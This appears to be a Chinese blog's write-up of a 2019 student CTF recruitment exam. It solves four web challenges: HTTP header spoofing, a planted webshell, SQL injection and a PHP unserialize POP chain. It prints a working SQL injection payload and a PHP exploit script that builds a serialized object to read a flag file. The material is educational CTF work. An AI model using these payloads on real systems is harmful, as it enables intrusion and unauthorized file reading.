Xi4or0uji's blog

2019GWHT考核题wp

字数统计: 994阅读时长: 4 min
2019/03/17 Share

本来想着招新完讲完题就不用题解了,但是看见有些小朋友还是很懵逼,补上一篇

WEB

web签到题

网址:http://xiaorouji.cn:2334/web1/
这道题其实考察的是对http头的各种操作还有抓包,首先进去题目看到一堆骚话,完了以后就是问do you know GWHT browser?,很明显是要我们改访问的浏览器,接着是only accept www.gwht.com to visit this website,修改访问网站,然后you are not the localhost, prprprpr,要求本地访问,然后就是i only know Spanish......,明显是要改accept-language,出题人背锅了,这里当初谷歌的时候是es-es,结果没想到百度居然不是这个,导致一堆不匹配,坑死一堆小朋友……….最后是You have not logged in yet,改cookie就行,所以最终改出来的包是

接着通过抓包可以看到它会先跳去flag2333.php然后立刻转去noflag.php

所以最后我们看flag2333.php的包就能看到flag了

do u know 菜刀?

网址:http://xiaorouji.cn:2333/web2/
这道题进去首先看到一个假flag,但是同时还提示有个shell在这个网站里面

扫一下后台看见有个shell.php

访问一下试下

看到有个小马,接着就是菜刀连过去了

连过去以后可以看到一个flag.js

将它下下来打开看看,明显是aaencode加密

拿去网站解密出来是这段

明显是一张图片的base64编码,将它转图片

是个二维码,扫一下就出flag了

sql注入

网址:http://shifeng-kaze.cn:912/
先网页进去源码可以看到注入语句

可以看到它是在数据库选出一个密码然后和传过来md5加密的passwd对比,如果相等就登录成功,payload如下

登录成功以后就到了第二关了,还是一个sql注入的地方,要去找no和name,fuzz一下看一下过滤了什么

可以看到第一个参数过滤了\ # =,第二个参数过滤了‘`,所以我们可以利用单引号逃逸完成注入,最终payload如下,爆数据库爆表那些就不放上去了

1
no=-1\&name= union select val from gwhts limit 1,1 #

serialize’s revenge

网址:http://xiaorouji.cn:100/web4/
这题在robots.txt可以看到一部分源码

1
2
3
4
5
6
7
8
9
$file = $_GET['file'];
$text = $_GET['text'];
if (!!$text || file_get_contents($text,'r') === "hello ctf"){
echo "hi!"."<br>";
include ($file); //backdoor.php
}else{
echo "you are not my friend!";
exit();
}

可以看到有一个文件包含漏洞,利用php://filter去读文件出来

拿到了base64加密后的数据后解密就有源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Flag{
public $obj;
public function __construct(){
$this->obj = new Safe;
}
public function __toString(){
if (isset($this->obj)){
return $this->obj->read();
}else{
return "go away hacker";
}
}
}
class Secret{ //fllllllag.php
public $file;
public function read(){
return file_get_contents($this->file);
}
}
class Safe{
public function read(){
return "it's very safe!";
}
}
$secret = $_GET['secret'];
if (isset($secret)){
echo unserialize($secret);
}else{
echo "your hat is too black!";
}

接着就是审计源码了,可以看到有个FlagSecretSafe三个类,接着也可以看到Secret类有个file_get_contents函数,可以读取任意文件,同时也提示了fllllllag.php,但是没有可以引发这个函数的方法,最后看去Flag这个类,可以知道$obj其实是一个类,里面的__toString魔幻函数可以调用$obj这个类的read函数,因此最终的pop链就是构造Flag类,设定$obj为Secret类,Secret类的$file设定为fllllllag.php,最后序列化Flag这个类,反序列化时触发漏洞,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Flag{
public $obj;
public function __construct(){
$this->obj = new Secret;
}
public function __toString(){
if (isset($this->obj)){
return $this->obj->read();
}else{
return "go away hacker";
}
}
}
class Secret{ //fllllllag.php
public $file = "fllllllag.php" ;
public function read(){
return file_get_contents($this->file);
}
}
$flag = new Flag();
echo serialize($flag);

最后回到index.php去触发反序列化漏洞

CATALOG
  1. 1. WEB
    1. 1.1. web签到题
    2. 1.2. do u know 菜刀?
    3. 1.3. sql注入
    4. 1.4. serialize’s revenge